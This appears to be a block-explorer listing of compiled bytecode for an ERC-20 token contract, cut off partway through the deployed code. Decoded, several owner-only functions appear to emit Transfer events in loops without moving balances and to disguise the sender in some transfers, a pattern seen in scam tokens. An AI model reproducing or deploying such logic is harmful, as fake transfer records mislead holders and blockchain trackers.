fffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066e90610ec9565b60405180910390fd5b6106885f838361084d60201b60201c565b8060035f8282546106999190610ee7565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106ec9190610ee7565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107d25760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107c59190610f29565b60405180910390a3610838565b8173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082f9190610f29565b60405180910390a35b6108495f838361085260201b60201c565b5050565b505050565b505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156108d9578086048111156108b5576108b4610857565b5b60018516156108c45780820291505b80810290506108d285610884565b9450610899565b94509492505050565b5f826108f157600190506109ac565b816108fe575f90506109ac565b8160018114610914576002811461091e5761094d565b60019150506109ac565b60ff8411156109305761092f610857565b5b8360020a91508482111561094757610946610857565b5b506109ac565b5060208310610133831016604e8410600b84101617156109825782820a90508381111561097d5761097c610857565b5b6109ac565b61098f8484846001610890565b925090508184048111156109a6576109a5610857565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6109d2826109b3565b91506109dd836109bc565b9250610a0a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846108e2565b905092915050565b5f610a1c826109b3565b9150610a27836109b3565b9250828202610a35816109b3565b91508282048414831517610a4c57610a4b610857565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ace57607f821691505b602082108103610ae157610ae0610a8a565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610b437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610b08565b610b4d8683610b08565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610b88610b83610b7e846109b3565b610b65565b6109b3565b9050919050565b5f819050919050565b610ba183610b6e565b610bb5610bad82610b8f565b848454610b14565b825550505050565b5f90565b610bc9610bbd565b610bd4818484610b98565b505050565b5b81811015610bf757610bec5f82610bc1565b600181019050610bda565b5050565b601f821115610c3c57610c0d81610ae7565b610c1684610af9565b81016020851015610c25578190505b610c39610c3185610af9565b830182610bd9565b50505b505050565b5f82821c905092915050565b5f610c5c5f1984600802610c41565b1980831691505092915050565b5f610c748383610c4d565b9150826002028217905092915050565b610c8d82610a53565b67ffffffffffffffff811115610ca657610ca5610a5d565b5b610cb08254610ab7565b610cbb828285610bfb565b5f60209050601f831160018114610cec575f8415610cda578287015190505b610ce48582610c69565b865550610d4b565b601f198416610cfa86610ae7565b5f5b82811015610d2157848901518255600182019150602085019450602081019050610cfc565b86831015610d3e5784890151610d3a601f891682610c4d565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610d8a826109b3565b9150610d95836109b3565b925082610da557610da4610d53565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ddd82610db4565b9050919050565b610ded81610dd3565b8114610df7575f80fd5b50565b5f81519050610e0881610de4565b92915050565b5f60208284031215610e2357610e22610db0565b5b5f610e3084828501610dfa565b91505092915050565b610e4281610dd3565b82525050565b5f604082019050610e5b5f830185610e39565b610e686020830184610e39565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610eb3601f83610e6f565b9150610ebe82610e7f565b602082019050919050565b5f6020820190508181035f830152610ee081610ea7565b9050919050565b5f610ef1826109b3565b9150610efc836109b3565b9250828201905080821115610f1457610f13610857565b5b92915050565b610f23816109b3565b82525050565b5f602082019050610f3c5f830184610f1a565b92915050565b60805160a05160c05161308f610f7a5f395f818161084f0152611c7301525f8181610a7d0152611bfb01525f611332015261308f5ff3fe608060405234801561000f575f80fd5b5060043610610204575f3560e01c8063715018a611610118578063a9059cbb116100ab578063d632135b1161007a578063d632135b146105b8578063dd62ed3e146105d4578063f01a4b9914610604578063f2fde38b14610620578063f887ea401461063c57610204565b8063a9059cbb14610544578063bf861b3114610574578063c9567bf914610590578063d5abeb011461059a57610204565b806396784f75116100e757806396784f75146104bc578063985bdfd1146104d8578063a457c2d7146104f6578063a8aa1b311461052657610204565b8063715018a614610446578063825e7b83146104505780638da5cb5b1461048057806395d89b411461049e57610204565b8063313ce5671161019b5780634c255c971161016a5780634c255c97146103a45780634ca64b3a146103c25780634e148e19146103de5780635d822813146103fa57806370a082311461041657610204565b8063313ce5671461031c578063395093511461033a5780634022b75e1461036a578063470624021461038657610204565b806323b872dd116101d757806323b872dd1461029257806325fa0b98146102c257806327c8f835146102e05780632b14ca56146102fe57610204565b806306fdde0314610208578063095ea7b314610226578063158ef93e1461025657806318160ddd14610274575b5f80fd5b61021061065a565b60405161021d919061234b565b60405180910390f35b610240600480360381019061023b9190612400565b6106ea565b60405161024d9190612458565b60405180910390f35b61025e610707565b60405161026b9190612458565b60405180910390f35b61027c61071a565b6040516102899190612480565b60405180910390f35b6102ac60048036038101906102a79190612499565b610723565b6040516102b99190612458565b60405180910390f35b6102ca610815565b6040516102d79190612458565b60405180910390f35b6102e8610828565b6040516102f591906124f8565b60405180910390f35b61030661084d565b6040516103139190612480565b60405180910390f35b610324610871565b604051610331919061252c565b60405180910390f35b610354600480360381019061034f9190612400565b610879565b6040516103619190612458565b60405180910390f35b610384600480360381019061037f91906125fb565b610920565b005b61038e610a7b565b60405161039b9190612480565b60405180910390f35b6103ac610a9f565b6040516103b991906126a8565b60405180910390f35b6103dc60048036038101906103d791906126c1565b610aa5565b005b6103f860048036038101906103f39190612748565b610b03565b005b610414600480360381019061040f91906125fb565b610bef565b005b610430600480360381019061042b9190612786565b610d4a565b60405161043d9190612480565b60405180910390f35b61044e610d90565b005b61046a60048036038101906104659190612786565b610e2f565b6040516104779190612458565b60405180910390f35b610488610e4c565b60405161049591906124f8565b60405180910390f35b6104a6610e73565b6040516104b3919061234b565b60405180910390f35b6104d660048036038101906104d191906125fb565b610f03565b005b6104e061105e565b6040516104ed91906126a8565b60405180910390f35b610510600480360381019061050b9190612400565b611064565b60405161051d9190612458565b60405180910390f35b61052e61114a565b60405161053b91906124f8565b60405180910390f35b61055e60048036038101906105599190612400565b61116f565b60405161056b9190612458565b60405180910390f35b61058e600480360381019061058991906127b1565b61118c565b005b61059861122a565b005b6105a2611330565b6040516105af9190612480565b60405180910390f35b6105d260048036038101906105cd91906125fb565b611354565b005b6105ee60048036038101906105e991906127dc565b6114af565b6040516105fb9190612480565b60405180910390f35b61061e600480360381019061061991906125fb565b611531565b005b61063a60048036038101906106359190612786565b61168c565b005b61064461179a565b6040516106519190612875565b60405180910390f35b606060048054610669906128bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610695906128bb565b80156106e05780601f106106b7576101008083540402835291602001916106e0565b820191905f5260205f20905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b5f6106fd6106f66117bf565b84846117c6565b6001905092915050565b600760149054906101000a900460ff1681565b5f600354905090565b5f61072f848484611989565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107766117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec9061295b565b60405180910390fd5b610809856108016117bf565b8584036117c6565b60019150509392505050565b600760159054906101000a900460ff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f6012905090565b5f6109166108856117bf565b848460025f6108926117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461091191906129a6565b6117c6565b6001905092915050565b6109286117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90612a23565b60405180910390fd5b5f5b84849050811015610a73578484828181106109d4576109d3612a41565b5b90506020020160208101906109e99190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610a4a57610a49612a41565b5b90506020020135604051610a5e9190612480565b60405180910390a380806001019150506109b6565b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61271081565b5f610aae6117bf565b90505f5b84849050811015610afc57610aef82868684818110610ad457610ad3612a41565b5b9050602002016020810190610ae99190612786565b85611989565b8080600101915050610ab2565b5050505050565b610b0b6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8e90612a23565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b610bf76117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90612a23565b60405180910390fd5b5f5b84849050811015610d4257848482818110610ca357610ca2612a41565b5b9050602002016020810190610cb89190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610d1957610d18612a41565b5b90506020020135604051610d2d9190612480565b60405180910390a38080600101915050610c85565b505050505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d986117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b90612a23565b60405180910390fd5b610e2d5f611dc9565b565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e82906128bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610eae906128bb565b8015610ef95780601f10610ed057610100808354040283529160200191610ef9565b820191905f5260205f20905b815481529060010190602001808311610edc57829003601f168201915b5050505050905090565b610f0b6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612a23565b60405180910390fd5b5f5b8484905081101561105657848482818110610fb757610fb6612a41565b5b9050602002016020810190610fcc9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061102d5761102c612a41565b5b905060200201356040516110419190612480565b60405180910390a38080600101915050610f99565b505050505050565b61271081565b5f8060025f6110716117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290612ade565b60405180910390fd5b61113f6111366117bf565b858584036117c6565b600191505092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61118261117b6117bf565b8484611989565b6001905092915050565b6111946117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612a23565b60405180910390fd5b80600a8190555050565b6112326117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b590612a23565b60405180910390fd5b5f1515600760159054906101000a900460ff16151514611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90612b46565b60405180910390fd5b6001600760156101000a81548160ff021916908315150217905550565b7f000000000000000000000000000000000000000000000000000000000000000081565b61135c6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90612a23565b60405180910390fd5b5f5b848490508110156114a75784848281811061140857611407612a41565b5b905060200201602081019061141d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061147e5761147d612a41565b5b905060200201356040516114929190612480565b60405180910390a380806001019150506113ea565b505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6115396117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90612a23565b60405180910390fd5b5f5b84849050811015611684578484828181106115e5576115e4612a41565b5b90506020020160208101906115fa9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061165b5761165a612a41565b5b9050602002013560405161166f9190612480565b60405180910390a380806001019150506115c7565b505050505050565b6116946117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790612a23565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612bd4565b60405180910390fd5b61179781611dc9565b50565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182b90612c62565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189990612cf0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197c9190612480565b60405180910390a3505050565b60011515600760149054906101000a900460ff161515146119df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d690612d58565b60405180910390fd5b60011515600760149054906101000a900460ff161515148015611a1457505f1515600760159054906101000a900460ff161515145b15611acc57611a21610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a8c5750611a5d610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac290612dc0565b60405180910390fd5b5b5f8190505f73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611b605750611b30610e4c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9f5750611b6f610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611db8575f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611c1d577f000000000000000000000000000000000000000000000000000000000000000090505b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ca0577f00000000000000000000000000000000000000000000000000000000000000009050611c9f600a54611e8a565b5b60011515600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615151480611d49575060011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b15611d52575f90505b5f811115611db6575f61271061ffff168285611d6e9190612dde565b611d789190612e4c565b90508084611d869190612e7c565b9250611db48660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611e99565b505b505b611dc3848483611e99565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b803a1115611e96575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90612f1f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6c90612fad565b60405180910390fd5b611f808383836122d1565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb9061303b565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461209491906129a6565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361217a578273ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161216d9190612480565b60405180910390a36122c0565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122595760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161224c9190612480565b60405180910390a36122bf565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122b69190612480565b60405180910390a35b5b6122cb8484846122d6565b50505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61231d826122db565b61232781856122e5565b93506123378185602086016122f5565b61234081612303565b840191505092915050565b5f6020820190508181035f8301526123638184612313565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61239c82612373565b9050919050565b6123ac81612392565b81146123b6575f80fd5b50565b5f813590506123c7816123a3565b92915050565b5f819050919050565b6123df816123cd565b81146123e9575f80fd5b50565b5f813590506123fa816123d6565b92915050565b5f80604083850312156124165761241561236b565b5b5f612423858286016123b9565b9250506020612434858286016123ec565b9150509250929050565b5f8115159050919050565b6124528161243e565b82525050565b5f60208201905061246b5f830184612449565b92915050565b61247a816123cd565b82525050565b5f6020820190506124935f830184612471565b92915050565b5f805f606084860312156124b0576124af61236b565b5b5f6124bd868287016123b9565b93505060206124ce868287016123b9565b92505060406124df868287016123ec565b9150509250925092565b6124f281612392565b82525050565b5f60208201905061250b5f8301846124e9565b92915050565b5f60ff82169050919050565b61252681612511565b82525050565b5f60208201905061253f5f83018461251d565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261256657612565612545565b5b8235905067ffffffffffffffff81111561258357612582612549565b5b60208301915083602082028301111561259f5761259e61254d565b5b9250929050565b5f8083601f8401126125bb576125ba612545565b5b8235905067ffffffffffffffff8111156125d8576125d7612549565b5b6020830191508360208202830111156125f4576125f361254d565b5b9250929050565b5f805f805f606086880312156126145761261361236b565b5b5f612621888289016123b9565b955050602086013567ffffffffffffffff8111156126425761264161236f565b5b61264e88828901612551565b9450945050604086013567ffffffffffffffff8111156126715761267061236f565b5b61267d888289016125a6565b92509250509295509295909350565b5f61ffff82169050919050565b6126a28161268c565b82525050565b5f6020820190506126bb5f830184612699565b92915050565b5f805f604084860312156126d8576126d761236b565b5b5f84013567ffffffffffffffff8111156126f5576126f461236f565b5b61270186828701612551565b93509350506020612714868287016123ec565b9150509250925092565b6127278161243e565b8114612731575f80fd5b50565b5f813590506127428161271e565b92915050565b5f806040838503121561275e5761275d61236b565b5b5f61276b858286016123b9565b925050602061277c85828601612734565b9150509250929050565b5f6020828403121561279b5761279a61236b565b5b5f6127a8848285016123b9565b91505092915050565b5f602082840312156127c6576127c561236b565b5b5f6127d3848285016123ec565b91505092915050565b5f80604083850312156127f2576127f161236b565b5b5f6127ff858286016123b9565b9250506020612810858286016123b9565b9150509250929050565b5f819050919050565b5f61283d61283861283384612373565b61281a565b612373565b9050919050565b5f61284e82612823565b9050919050565b5f61285f82612844565b9050919050565b61286f81612855565b82525050565b5f6020820190506128885f830184612866565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806128d257607f821691505b6020821081036128e5576128e461288e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6129456028836122e5565b9150612950826128eb565b604082019050919050565b5f6020820190508181035f83015261297281612939565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6129b0826123cd565b91506129bb836123cd565b92508282019050808211156129d3576129d2612979565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a0d6020836122e5565b9150612a18826129d9565b602082019050919050565b5f6020820190508181035f830152612a3a81612a01565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612ac86025836122e5565b9150612ad382612a6e565b604082019050919050565b5f6020820190508181035f830152612af581612abc565b9050919050565b7f436f6e74726163743a2054726164696e67206973206f70656e656421000000005f82015250565b5f612b30601c836122e5565b9150612b3b82612afc565b602082019050919050565b5f6020820190508181035f830152612b5d81612b24565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612bbe6026836122e5565b9150612bc982612b64565b604082019050919050565b5f6020820190508181035f830152612beb81612bb2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c4c6024836122e5565b9150612c5782612bf2565b604082019050919050565b5f6020820190508181035f830152612c7981612c40565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612cda6022836122e5565b9150612ce582612c80565b604082019050919050565b5f6020820190508181035f830152612d0781612cce565b9050919050565b7f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000005f82015250565b5f612d42601a836122e5565b9150612d4d82612d0e565b602082019050919050565b5f6020820190508181035f830152612d6f81612d36565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f7420737461727465645f82015250565b5f612daa6020836122e5565b9150612db582612d76565b602082019050919050565b5f6020820190508181035f830152612dd781612d9e565b9050919050565b5f612de8826123cd565b9150612df3836123cd565b9250828202612e01816123cd565b91508282048414831517612e1857612e17612979565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612e56826123cd565b9150612e61836123cd565b925082612e7157612e70612e1f565b5b828204905092915050565b5f612e86826123cd565b9150612e91836123cd565b9250828203905081811115612ea957612ea8612979565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612f096025836122e5565b9150612f1482612eaf565b604082019050919050565b5f6020820190508181035f830152612f3681612efd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612f976023836122e5565b9150612fa282612f3d565b604082019050919050565b5f6020820190508181035f830152612fc481612f8b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6130256026836122e5565b915061303082612fcb565b604082019050919050565b5f6020820190508181035f83015261305281613019565b905091905056fea2646970667358221220ed0a44bd9da6c3a7a1ad65e37d3c4ebb52403502cddcd33f14b7f2044a7e5e5464736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610204575f3560e01c8063715018a611610118578063a9059cbb116100ab578063d632135b1161007a578063d632135b146105b8578063dd62ed3e146105d4578063f01a4b9914610604578063f2fde38b14610620578063f887ea401461063c57610204565b8063a9059cbb14610544578063bf861b3114610574578063c9567bf914610590578063d5abeb011461059a57610204565b806396784f75116100e757806396784f75146104bc578063985bdfd1146104d8578063a457c2d7146104f6578063a8aa1b311461052657610204565b8063715018a614610446578063825e7b83146104505780638da5cb5b1461048057806395d89b411461049e57610204565b8063313ce5671161019b5780634c255c971161016a5780634c255c97146103a45780634ca64b3a146103c25780634e148e19146103de5780635d822813146103fa57806370a082311461041657610204565b8063313ce5671461031c578063395093511461033a5780634022b75e1461036a578063470624021461038657610204565b806323b872dd116101d757806323b872dd1461029257806325fa0b98146102c257806327c8f835146102e05780632b14ca56146102fe57610204565b806306fdde0314610208578063095ea7b314610226578063158ef93e1461025657806318160ddd14610274575b5f80fd5b61021061065a565b60405161021d919061234b565b60405180910390f35b610240600480360381019061023b9190612400565b6106ea565b60405161024d9190612458565b60405180910390f35b61025e610707565b60405161026b9190612458565b60405180910390f35b61027c61071a565b6040516102899190612480565b60405180910390f35b6102ac60048036038101906102a79190612499565b610723565b6040516102b99190612458565b60405180910390f35b6102ca610815565b6040516102d79190612458565b60405180910390f35b6102e8610828565b6040516102f591906124f8565b60405180910390f35b61030661084d565b6040516103139190612480565b60405180910390f35b610324610871565b604051610331919061252c565b60405180910390f35b610354600480360381019061034f9190612400565b610879565b6040516103619190612458565b60405180910390f35b610384600480360381019061037f91906125fb565b610920565b005b61038e610a7b565b60405161039b9190612480565b60405180910390f35b6103ac610a9f565b6040516103b991906126a8565b60405180910390f35b6103dc60048036038101906103d791906126c1565b610aa5565b005b6103f860048036038101906103f39190612748565b610b03565b005b610414600480360381019061040f91906125fb565b610bef565b005b610430600480360381019061042b9190612786565b610d4a565b60405161043d9190612480565b60405180910390f35b61044e610d90565b005b61046a60048036038101906104659190612786565b610e2f565b6040516104779190612458565b60405180910390f35b610488610e4c565b60405161049591906124f8565b60405180910390f35b6104